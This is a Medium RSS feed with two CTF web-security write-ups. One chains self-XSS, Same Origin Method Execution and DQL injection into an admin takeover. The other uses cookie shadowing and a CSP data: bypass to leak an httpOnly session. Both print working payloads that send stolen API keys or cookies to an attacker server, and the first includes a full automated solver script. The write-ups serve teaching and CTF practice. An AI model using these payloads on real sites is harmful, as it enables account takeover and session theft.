<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kalawy on Medium]]></title>
        <description><![CDATA[Stories by Kalawy on Medium]]></description>
        <link>https://medium.com/@kalawy?source=rss-86dcade4b57e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*huvwWX-aLFA9Vav09K7yAw.jpeg</url>
            <title>Stories by Kalawy on Medium</title>
            <link>https://medium.com/@kalawy?source=rss-86dcade4b57e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 07:11:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kalawy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Self-XSS to PII leak via Same Origin Method Execution to admin ATO via DQLi— SMS V2 CyCTF 2025…]]></title>
            <link>https://kalawy.medium.com/self-xss-to-pii-leak-via-same-origin-method-execution-to-admin-ato-via-dqli-sms-v2-cyctf-2025-ee79ee89055e?source=rss-86dcade4b57e------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee79ee89055e</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[self-xss]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Kalawy]]></dc:creator>
            <pubDate>Mon, 10 Nov 2025 15:46:11 GMT</pubDate>
            <atom:updated>2025-11-10T16:36:34.103Z</atom:updated>
            <content:encoded><![CDATA[<h3>Self-XSS to PII leak via Same Origin Method Execution to admin ATO via DQLi— SMS V2 CyCTF 2025 Quals</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*82K76LVTb2ni3sXDck1RDg.jpeg" /></figure><p>بسم الله، والصلاة والسلام على رسول الله<br>الحمد لله الذي عَلَّمَ بالقلم.. عَلَّمَ الإنسانَ ما لم يَعْلَم<br>والصلاةُ والسلامُ على خيرِ مُعَلِّمي الناسِ الخير محمد</p><p>It’s <a href="https://x.com/WeGo74"><strong>Kalawy</strong></a>, <a href="https://medium.com/@zeyad_zonkorany"><strong>Zonkor</strong></a>, and <a href="https://x.com/MushroomWasp"><strong>Mushroom </strong></a>— back with another write-up. This time we chain a Self-XSS into a SAME-ORIGIN Method Execution (SOME) to snag a developer account, then pivot with a DQL injection to fully own the admin on an SMS v2 target from the CyCTF 2025 Quals.</p><h3>What’s the SOME?</h3><p><strong>SOME</strong>, or <strong>S</strong>ame <strong>O</strong>rigin <strong>M</strong>ethod/Function <strong>E</strong>xecution, is a browser feature that allows a function hosted on a page to be executed from another, <strong>if and only if they’re on the same origin.</strong> In other words, this allows a page to control another as long as they share the same origin. For example, if you have a page A that runs example.com and another one that runs example.com/infoIf we can refer to page A in the code of page B somehow, we can execute A&#39;s functions from B. Let’s explain it differently, you have a page A that has this function:</p><pre>function Greeting(name){<br>  document.getElementsByTagName(&quot;div&quot;)[0].innerHTML = `&lt;h2&gt;Hello ${name}&lt;/h2&gt;`;<br>}</pre><p>If we can get a reference to this page Page A on another page in the same origin, we can easily call this Greetingfunction from page B.</p><p>One common way to create such a reference is by using window.open(). When page A opens page B using window.open(&#39;/PageB.html&#39;), a parent-child relationship is established. Page B can then refer back to its openerpage A, using the window.opener property. This grants page B access to the functions on page A.</p><p>Try to have a hands-on this example:</p><pre>&lt;!-- Page A.html --&gt;<br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>    &lt;title&gt;Page A&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;<br>        Here is page A<br>    &lt;/h1&gt;<br>    &lt;div&gt;<br>    &lt;/div&gt;<br>    &lt;script&gt;<br>        function Greeting(name){<br>            document.getElementsByTagName(&quot;div&quot;)[0].innerHTML = `&lt;h2&gt;Hello ${name}&lt;/h2&gt;`;<br>        }<br>        // Open Page B in a new tab/window        <br>        window.open(&quot;/B.html&quot;);<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><pre>&lt;!-- Page B.html --&gt;<br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>    &lt;title&gt;Page B&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;<br>        Here is page B<br>    &lt;/h1&gt;<br><br>    &lt;script&gt;<br>      // From Page B, call the Greeting<br>      window.opener.Greeting(&quot;Zonkor and Mushroom&quot;);<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Here is the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZyyMZAqfrHW2NGbTICNl5Q.png" /></figure><p>This feature inspired <a href="https://x.com/BenHayak">Ben Hayak</a> to escalate limited JS execution into a critical one, performing something like CSRF. You can check this <a href="https://www.youtube.com/watch?v=UfYfID_r7-U">video</a>.</p><h3>Exploiting SOME</h3><p>Summarizing the technique used by Ben Hayak:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*r7j5iyyrhFtMG8I1e7bfOA.gif" /></figure><ol><li>The attacker hosts a malicious HTMLwindow.open(“https://target.com/vulnerable”), on attacker.com(Page A) which opens a new window (Page B). This Page B is vulnerable to XSS.</li><li>Redirecting the current window (Page A) to another target page that has a critical function/information which belongs to the same origin as Page B window.location.href=&#39;https://target.com/critical_func&#39;;.</li></ol><blockquote>You may be asking, Why not just control the vulnerable page without the second step (Redirection). Simply, we mentioned earlier that <strong>SOME is only allowed between two pages belong to the same origin</strong> and target.com differs from attacker.com, so this redirection guarantee the same origin rule.</blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Ff41LDOIKT7C10XNWQ3%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExbDRxdTBzM2tzZXl5ZWx2YWRqZDM3eGZ0Y29vYmVud3VhbHp1YnE5YSZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2Ff41LDOIKT7C10XNWQ3%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExeTkydGZ1MjQzY2dscGdsdm0zdXY3dDFuM2kzdnRrZ24xZ2dnbzlpeCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2Ff41LDOIKT7C10XNWQ3%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="246" frameborder="0" scrolling="no"><a href="https://medium.com/media/600316c9958ef36547960386fadbacee/href">https://medium.com/media/600316c9958ef36547960386fadbacee/href</a></iframe><h3>Diving into the challenge</h3><p>I won’t go deeply into the details of reviewing the code, but it’s obvious that we have a Self-XSS on dashboard.phpdue to the usage of raw Twig filter, which ignores HTML escaping of the input.</p><pre>$loader = new \Twig\Loader\ArrayLoader([<br>    &#39;welcome&#39; =&gt; &quot;Welcome back, {{ username |raw }} !&quot;<br>]);</pre><p>Until now, it’s a self-XSS; it won’t be useful without an escalation.</p><p>We have a bot that logs in as a developer, then visits the provided link. This developer has an /api/me.php endpoint that returns his API key. So our first goal is to leak this endpoint using the escalated XSS. The only way to deliver our XSS is to force the developer to log in to our account. lol, We turned the developer into a regular user. It became worse.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FeGxkm7b2hzDfkNvjo7%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExeHFtbG9jcXc5MXN4cG9jM2pyMmR5ejhucjZxZGkzd3Rva2s4ZWw2aSZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FeGxkm7b2hzDfkNvjo7%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExMWVrajk2bWFsNnE0cHI2anRscWx4YmlsczRuYXR0czljd3c0YXF1bCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FeGxkm7b2hzDfkNvjo7%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="231" frameborder="0" scrolling="no"><a href="https://medium.com/media/3c327158be908d0324ba8c329dd60a7c/href">https://medium.com/media/3c327158be908d0324ba8c329dd60a7c/href</a></iframe><blockquote>On some environment i would think of RCE using developer tools, but it’s not applicable here</blockquote><p>So, what about if we load the critical data first, then CSRF the developer to log in with our account, therefore the XSS? Here is where the SOME came to the scene.</p><h3>Exploitation of SOME in this challenge</h3><p>SOME exploitation states that the XSS should be opened in the child window (Page B) and the critical method/function/data in the parent (Page A).</p><blockquote>This rule can be switched, in case of the child window listens to postMessage, but I don’t wanna make it more complex, so it’s left for the user</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fCgu1kKk_46D7u7OR67HuA.png" /></figure><blockquote>This part contains snippets from the solver at the end of this story</blockquote><ol><li>Page A (Parent) Open Page B (child) that holds the CSRF.</li><li>Page A (Parent) redirected to /api/me.php using window.location.href=&#39;http://web:80/api/me.php’</li><li>CSRF (in page B) should wait until the parent window (Page A) is loaded, so we should add at least 100ms delay to our CSRF.</li><li>The CSRF is submitted, letting us access Page A (parent) via the XSS and send its content (API Key) to our server fetch(&quot;http://attacker/leak?data=&quot;+btoa(window.opener.document.body.innerHTML).</li></ol><pre>ONE = r&#39;&#39;&#39;<br>&lt;!-- 1 --&gt;<br> &lt;script&gt;<br>    window.open(&quot;/2&quot;)<br>    window.location.href = &quot;http://web:80/api/me.php&quot;<br> &lt;/script&gt;<br> &#39;&#39;&#39;<br><br>SEOND = rf&#39;&#39;&#39;<br>&lt;!-- 2 --&gt;<br><br>&lt;form action=&quot;http://web:80/login.php&quot; method=&quot;post&quot;&gt;<br>    &lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&amp;lt;script&amp;gt;fetch(&amp;quot;{ATTACKER}/leak?data=&amp;quot;&amp;#x2b;btoa(window.opener.document.body.innerHTML));&amp;lt;/script&amp;gt;&quot; autocomplete&gt;<br>    &lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;145263Mm123.&quot; autocomplete&gt;<br>&lt;/form&gt;<br>&lt;script&gt;<br>    setTimeout(function(){{document.forms[0].submit()}},100);<br>&lt;/script&gt;<br>&#39;&#39;&#39;<br><br><br>@app.route(&#39;/1&#39;)<br>def serve_form():<br>    return render_template_string(ONE), 200, {&#39;Content-Type&#39;: &#39;text/html; charset=utf-8&#39;}<br><br>@app.route(&#39;/2&#39;)<br>def serve_form_sec():<br>    return render_template_string(SEOND), 200, {&#39;Content-Type&#39;: &#39;text/html; charset=utf-8&#39;}<br><br>@app.route(&quot;/leak&quot;)<br>def leak():<br>    global dev_data<br>    dev_data = request.args.get(&quot;data&quot;)<br>    return dev_data</pre><p>Once you receive the API key, you are a developer. Now let’s exploit the second vulnerability (DQL injection)</p><h3>What even is DQL?</h3><p>You need to know that the challenge uses Doctrine ORM (Object-Relational Mapper).</p><p><strong>What it is</strong>: Doctrine is a library that maps your PHP objects directly to database tables. This User class is a Doctrine Entity, which acts as a blueprint for the users table in your database.</p><p><strong>What is DQL</strong>: DQL (Doctrine Query Language) is the language you use to query these objects. Instead of writing raw SQL SELECT * FROM users, you write object-oriented queries like SELECT u FROM App\Entity\User u. The User.php file defines the object that DQL queries will find, create, or update.</p><h3>DQL Injection</h3><blockquote>We needed the API key to perform this step as the endpoint is protected.</blockquote><p>In findFeedbackById(...) function indoctrine.php, there lies our injection point.</p><pre>function findFeedbackById($id)<br>{<br>    $qb = getEntityManager()-&gt;createQueryBuilder();<br>    $qb-&gt;select(&#39;f&#39;)<br>        -&gt;from(\App\Entity\Feedback::class, &#39;f&#39;)<br>        -&gt;where(&quot;f.id = &quot; .$id)      // &lt;-- Injection Point<br>        -&gt;orderBy(&#39;f.createdAt&#39;, &#39;DESC&#39;);<br><br>    try {<br>        return $qb-&gt;getQuery()-&gt;getResult();<br>    } catch (\Exception $e) {<br>        return [];<br>    }<br>}</pre><p>We can inject the $id parameter directly, as it is concatenated into the DQL query without any sanitization.</p><p><strong>The first thought that comes to mind is:</strong> Let’s just insert a new user with an admin role, or even update ours! But it didn’t work out.</p><p>After some research (with ChatGPT research), I found out that DQL parser expects a single statement type, single query, so we can’t just terminate the current query with a semicolon (;) and add another one, it has to be a single query.</p><p>What can we do then? We can try to leak data! Like the admin password reset token. Decided to look up Google and found this interesting research: <a href="https://blog.deteact.com/dql-injection/">DQL injection</a>. Check the “Boolean Based” part:</p><pre>1 or 1=(select 1 from App\Entity\User a where a.id=1 and substring(a.password,1,1)=&#39;$&#39;)</pre><p>This simply is utilizing subqueries to extract data character by character. If the sub query select 1 from App\Entity\User a where a.id=1 and substring(a.password,1,1)=&#39;$&#39; returns true, the whole query will return true; therefore, we get some data, else we get an empty result.</p><p>That’s exactly what we did to extract the admin password reset token, character by character. The right payload in our case would be:</p><pre>1 and 1=(select 1 from App\Entity\User a where a.id=1 and substring(a.code,1,1)=&#39;a&#39;)</pre><p>here substring(a.code,1,1)=&#39;a&#39; checks if the first character of the admin reset token is &#39;a&#39;. We loop through all possible characters, then the second one, and we change it to substring(a.code,2,1)=&#39;b&#39; and so on.</p><blockquote>Make sure to put at least one feedback in the database, else you will always get empty result.</blockquote><p>And this wraps it! You extract the reset token, reset the admin’s password, log in as admin, and get the flag from flag.php.</p><p>Here is a full version solver that automates the whole process:</p><blockquote><em>Make sure to </em>submit <em>one feedback before running the script to avoid empty in the DQL injection step.</em></blockquote><pre>from flask import Flask, render_template_string,request<br>from requests import post,get<br>import threading, base64,json,urllib3<br>from concurrent.futures import ThreadPoolExecutor, as_completed<br><br>urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br><br>lock = threading.Lock()<br>TARGET = input(&quot;Your instance URL: &quot;)<br>if &quot;https&quot; not in TARGET:<br>    TARGET.replace(&quot;http&quot;,&quot;https&quot;)<br>ATTACKER = input(&quot;your interface that will run this app: e.g http://142.90.81.1:9999: &quot;).strip(&quot;/&quot;)<br>dev_data = &quot;&quot;<br>API_key = &quot;&quot;<br>reset_token = &quot;&quot;<br>CHARS = &quot;abcdef0123456789&quot;<br><br>app = Flask(__name__)<br><br>ONE = r&#39;&#39;&#39;<br>&lt;!-- 1 --&gt;<br> &lt;script&gt;<br>    window.open(&quot;/2&quot;)<br>    window.location.href = &quot;http://web:80/api/me.php&quot;<br> &lt;/script&gt;<br> &#39;&#39;&#39;<br><br>SEOND = rf&#39;&#39;&#39;<br>&lt;!-- 2 --&gt;<br><br>&lt;form action=&quot;http://web:80/login.php&quot; method=&quot;post&quot;&gt;<br>    &lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&amp;lt;script&amp;gt;fetch(&amp;quot;{ATTACKER}/leak?data=&amp;quot;&amp;#x2b;btoa(window.opener.document.body.innerHTML));&amp;lt;/script&amp;gt;&quot; autocomplete&gt;<br>    &lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;145263Mm123.&quot; autocomplete&gt;<br>&lt;/form&gt;<br>&lt;script&gt;<br>    setTimeout(function(){{document.forms[0].submit()}},100);<br>&lt;/script&gt;<br>&#39;&#39;&#39;<br><br><br>def signup():<br>    post(f&quot;{TARGET}/register.php&quot;,data={&#39;username&#39;:f&#39;&lt;script&gt;fetch(&quot;{ATTACKER}/leak?data=&quot;+btoa(window.opener.document.body.innerHTML));&lt;/script&gt;&#39;,&#39;password&#39;:&#39;145263Mm123.&#39;,&#39;confirm_password&#39;:&#39;145263Mm123.&#39;})<br><br>def report():<br>    post(f&quot;{TARGET}/report_issue.php&quot;,data={&quot;url&quot;:f&quot;{ATTACKER}/1&quot;})<br><br>def decode_data():<br>    global dev_data<br>    global API_key<br>    dev_data = dev_data.strip().replace(&quot; &quot;, &quot;+&quot;)<br>    dev_data += &quot;=&quot; * (-len(dev_data) % 4)<br>    dev_data = base64.b64decode(dev_data).decode(&quot;utf-8&quot;).strip(&quot;&lt;pre&gt;&quot;).strip(&quot;&lt;/pre&gt;&lt;div class=\&quot;json-formatter-container\&quot;&gt;&lt;/div&quot;)<br>    API_key = json.loads(dev_data)[&#39;api_key&#39;]<br><br>@app.route(&#39;/1&#39;)<br>def serve_form():<br>    return render_template_string(ONE), 200, {&#39;Content-Type&#39;: &#39;text/html; charset=utf-8&#39;}<br><br>@app.route(&#39;/2&#39;)<br>def serve_form_sec():<br>    return render_template_string(SEOND), 200, {&#39;Content-Type&#39;: &#39;text/html; charset=utf-8&#39;}<br><br>@app.route(&quot;/leak&quot;)<br>def leak():<br>    global dev_data<br>    dev_data = request.args.get(&quot;data&quot;)<br>    return dev_data<br><br>def check_char(i, j, stop_event):<br>    if stop_event.is_set():<br>        return None<br>    payload = f&quot;20 or 1=(select 1 from App\\Entity\\User a where a.id=1 and substring(a.code,{i},1)=&#39;{j}&#39;)&quot;<br>    try:<br>        r = get(f&quot;{TARGET}/api/search_feedback.php?feedback_id={payload}&quot;,<br>                headers={&quot;X-API-Key&quot;: API_key}).text<br>        <br>    except:<br>        return None<br>    if &quot;test feedback&quot; in r:<br>        stop_event.set()<br>        return j<br>    return None<br><br>def admin_takeover():<br>    global reset_token<br>    post(f&quot;{TARGET}/forgot_password.php&quot;, data={&quot;username&quot;:&quot;admin&quot;},cookies={&quot;PHPSESSID&quot;:&quot;a&quot;})<br>    print(&quot;Brute forcing the admin reset password token&quot;)<br>    for i in range(1, 65):<br>        stop_event = threading.Event()<br>        found_char = None<br>        with ThreadPoolExecutor(max_workers=len(CHARS)) as executor:<br>            futures = {executor.submit(check_char, i, ch, stop_event): ch for ch in CHARS}<br>            try:<br>                for fut in as_completed(futures):<br>                    res = fut.result()<br>                    if res:<br>                        found_char = res<br>                        break<br>            finally:<br>                for fut in futures:<br>                    if not fut.done():<br>                        fut.cancel()<br><br>        if found_char:<br>            with lock:<br>                reset_token += found_char<br>        else:<br>            print(f&quot;[-] no character found at position {i}. stopping enumeration.&quot;)<br>            break<br>    print(&quot;admin Reset password token: &quot;+reset_token)<br>    print(&quot;Obtaining the flag &quot;)<br>    post(f&quot;{TARGET}/reset.php&quot;,data={&quot;new_password&quot;:&quot;145263Mm123.&quot;,&quot;code&quot;:reset_token},cookies={&quot;PHPSESSID&quot;:&quot;a&quot;}).text<br><br>def get_flag():<br>    admin_PHPSESSID = post(f&quot;{TARGET}/login.php&quot;,data={&quot;username&quot;:&quot;admin&quot;,&quot;password&quot;:&quot;145263Mm123.&quot;},allow_redirects=False).cookies.get(&quot;PHPSESSID&quot;)<br>    print(get(f&quot;{TARGET}/flag.php&quot;,cookies={&quot;PHPSESSID&quot;:admin_PHPSESSID}).text)<br><br>if __name__ == &#39;__main__&#39;:<br>    signup()<br>    server = threading.Thread(target=lambda: app.run(host=&#39;0.0.0.0&#39;, port=9999, debug=False, use_reloader=False))<br>    server.start()<br>    report()<br>    while(True):<br>        if(dev_data):<br>            break<br>    decode_data()<br>    admin_takeover()<br>    get_flag() </pre><blockquote>Download it <a href="https://raw.githubusercontent.com/MushroomWasp/blog/refs/heads/main/smsv2-cyctf25-web/solver.py">here</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lpozgu2M5_22fb3e-85BRw.png" /></figure><p>That’s all for this write-up, see you soon.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Flp3GUtG2waC88%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExeDZvc2x2dTFyMjNwMzB3cHZ2Mnd6eGUzMGFuNnY0MHU1MjB3Z29iOSZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2Flp3GUtG2waC88%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia2.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExZTMyanJxNHF1MmcweDJhZjluaTFuOGZveGNha283ZTk4ZnRiOGEzeCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2Flp3GUtG2waC88%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="246" frameborder="0" scrolling="no"><a href="https://medium.com/media/45c02136e2227e4d9f51d83c0d57d25e/href">https://medium.com/media/45c02136e2227e4d9f51d83c0d57d25e/href</a></iframe><p>If you reach here, here is another write-up that may interest you:</p><p><a href="https://kalawy.medium.com/cookie-shadowing-and-csp-bypass-to-read-httponly-cookie-way-too-easy-conctf-finals-0de7dda28ee6">Cookie Shadowing and CSP bypass to read httpOnly cookie— Way too easy (CONCTF finals)</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee79ee89055e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cookie Shadowing and CSP bypass to read httpOnly cookie— Way too easy (CONCTF finals)]]></title>
            <link>https://kalawy.medium.com/cookie-shadowing-and-csp-bypass-to-read-httponly-cookie-way-too-easy-conctf-finals-0de7dda28ee6?source=rss-86dcade4b57e------2</link>
            <guid isPermaLink="false">https://medium.com/p/0de7dda28ee6</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Kalawy]]></dc:creator>
            <pubDate>Wed, 17 Sep 2025 22:43:41 GMT</pubDate>
            <atom:updated>2025-09-17T22:44:11.633Z</atom:updated>
            <content:encoded><![CDATA[<h3>بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ</h3><p><strong>Here is the </strong><a href="https://kalawy.medium.com/0de7dda28ee6?source=friends_link&amp;sk=03cc8a553ac0df46069245f9d2b2d8ad"><strong>free write-up</strong></a></p><p>Welcome back, this time with my CONCTF finals challenge, created with <a href="https://medium.com/u/75fe32d57e73">zeyad zonkorany</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zae4dVuCb8F2UwMqolRe0A.png" /></figure><blockquote>I suggest trying this challenge locally first. To get you started, here’s the full <a href="https://github.com/0xkalawy/My-CTF-challs/tree/main/CONCTF/Way%20too%20easy">source code</a></blockquote><p>Let’s start by looking at a key piece of browser behavior that plays a vital role in our exploit.</p><h4>Same-name Cookies ordering</h4><p>When the browser encounters multiple cookies with the same name destined for the same endpoint, how will it order those cookies in the Cookie? Will it send the early created first?<br>Actually, RFC 6265 §5.4 states that ordering goes as follows:</p><ol><li><strong>The cookie with the longest path comes first.</strong></li><li><strong>If two cookies have the same path length, the earliest created one comes first.</strong></li></ol><h4>httpOnly</h4><p>A cookie’s <strong>identity</strong> is defined by its <em>name</em> and <em>path</em>. For example:</p><ul><li>session=value; Path=/</li><li>session=value; Path=/dashboard</li></ul><p>These represent <strong>two different cookies</strong>, even though they share the same name.</p><blockquote><em>httpOnly</em> attribute only prevents JavaScript from <em>reading or modifying </em>a cookie, not from <em>creating or overwriting</em> another cookie with the same name but a different path. From the browser’s perspective, <em>session; Path=/</em> and <em>session; Path=/dashboard</em> are separate identities. This allows an attacker with XSS to set their own version and that’s what called “Cookie Shadowing”.</blockquote><p>Knowing that information constructs most of our exploit, so let’s go.</p><p>At first glance, the app looks vulnerable to XSS. In templage/dashboard.htmld, the feedbackinput is rendered with the safe tag, in the feedback input. But simply hitting an XSS payload won’t work, by rechecking the source code, you will find a CSP set on templates/base.html :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dzzKno0oTouPL2A2t-GB1Q.png" /></figure><p>This CSP restricts JavaScript execution to two sources:</p><ul><li>&#39;self&#39; → scripts hosted on the same origin.</li><li>data: → inline scripts encoded directly in the page.</li></ul><p>That second part, data:, is a common misstep. It lets you embed scripts in a data: URL, which the browser happily executes. For example:</p><pre>&lt;script src=&quot;data:text/javascript,alert(1)&quot;&gt;&lt;/script&gt;</pre><p>And just like that — XSS achieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*sbz_A10MfU8KxqpHTSf4xQ.png" /></figure><p>The first time you check the code, you will discover that your target is to get XSS and get the flag from the bot session (with httpOnly flag). But how? We all know that those types of cookies are secure against XSS because they prevent the read or modification of that cookie using JS, but I came to tell you the opposite XD.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F3ofSB46X1DsxyyqHx6%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExaDh0dTlxbnplbzhpNTEwcHQyOWFoMjVncTBjNnZmeXI4azAxZXp5MyZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2F3ofSB46X1DsxyyqHx6%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExZHN3cDN6Yzhib29oaWxrYXNvd3doZHljdndvcWwyeG1sMGUyemVmbCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2F3ofSB46X1DsxyyqHx6%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="326" frameborder="0" scrolling="no"><a href="https://medium.com/media/a5f9e3ddeae552baa021a89908336873/href">https://medium.com/media/a5f9e3ddeae552baa021a89908336873/href</a></iframe><p>Back to our challenge — let’s state that rule: to actually <strong>steal</strong> the value of a HttpOnly cookie, you need some kind of <strong>reflection</strong>. This could happen through an error message that echoes the cookie back, via the <a href="https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique">cookie sandwich technique</a>, etc.</p><p>Looking for a reflection point in our challenge, we faced authed middleware that checks for the authentication. This middleware throws an error message showing all cookies if the session cookie value is None or has zero length.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*nnqHkzy7F5zGS_cAU6X4TA.png" /></figure><p>If we set the session cookie to None (or empty), The middleware will disclose all cookies. But our real target is the <strong>admin session cookie</strong>, since that’s where the flag is stored.</p><p>We can’t simply overwrite this cookie because it’s markedhttpOnly, which prevents JavaScript from reading/writing its value. And even if overwriting were possible, it would only destroy the flag rather than reveal it.</p><p>For sure, as you thought, if we send two cookies — the first set to None and the second as the real one— flask will read the first session, whose value is None and would disclose the real session.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FLDfNyc65QQ0e3K0156%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExM3RvcGY4ZTBoYzV5dHVqaXB5Z2ZnN20zYXoydHI4eWMxZHNtNTYyaSZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FLDfNyc65QQ0e3K0156%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExM3c5bGZreTVmbHZkbm8zMTF3OTNiZ2NreHZ3ZWI1aHkwdnRieGJiaCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FLDfNyc65QQ0e3K0156%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="326" frameborder="0" scrolling="no"><a href="https://medium.com/media/55a00f270e14ff0f523dabde069d5db8/href">https://medium.com/media/55a00f270e14ff0f523dabde069d5db8/href</a></iframe><p>Calling back to how the browser handles the cookies with the same name, combined with httpOnly characteristics, we may be able to achieve the httpOnly steal. Here is my Scenario:</p><ol><li><strong>Set a new </strong><strong>session cookie with an empty value (to trigger the error)</strong></li><li><strong>Give this cookie a path longer than the real one.</strong></li><li><strong>Visit the path of the set cookie to ensure it’s sent along with the real one.</strong></li><li><strong>Trigger the error to disclose the session.</strong></li><li><strong>Finally, fetch the error page and forward the result to our webhook.</strong></li></ol><p>Here is my crafted payload:</p><pre>&lt;script src=&quot;data:text/javascript,document.cookie = &#39;session=; path=/dashboard&#39;;fetch(&#39;/dashboard&#39;,{&#39;credentials&#39;:&#39;include&#39;}).then(r =&gt; r.text()).then(data =&gt; fetch(&#39;https://YOUR_SERVER?x=&#39; + encodeURIComponent(data)));&quot;&gt;&lt;/script&gt;</pre><p>Sending this payload to the admin sent us the session cookie value, which is the flag in our CTF and would be the admin/user session in real-world scenarios.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L192MGh8Clh9OCIlDqISUg.png" 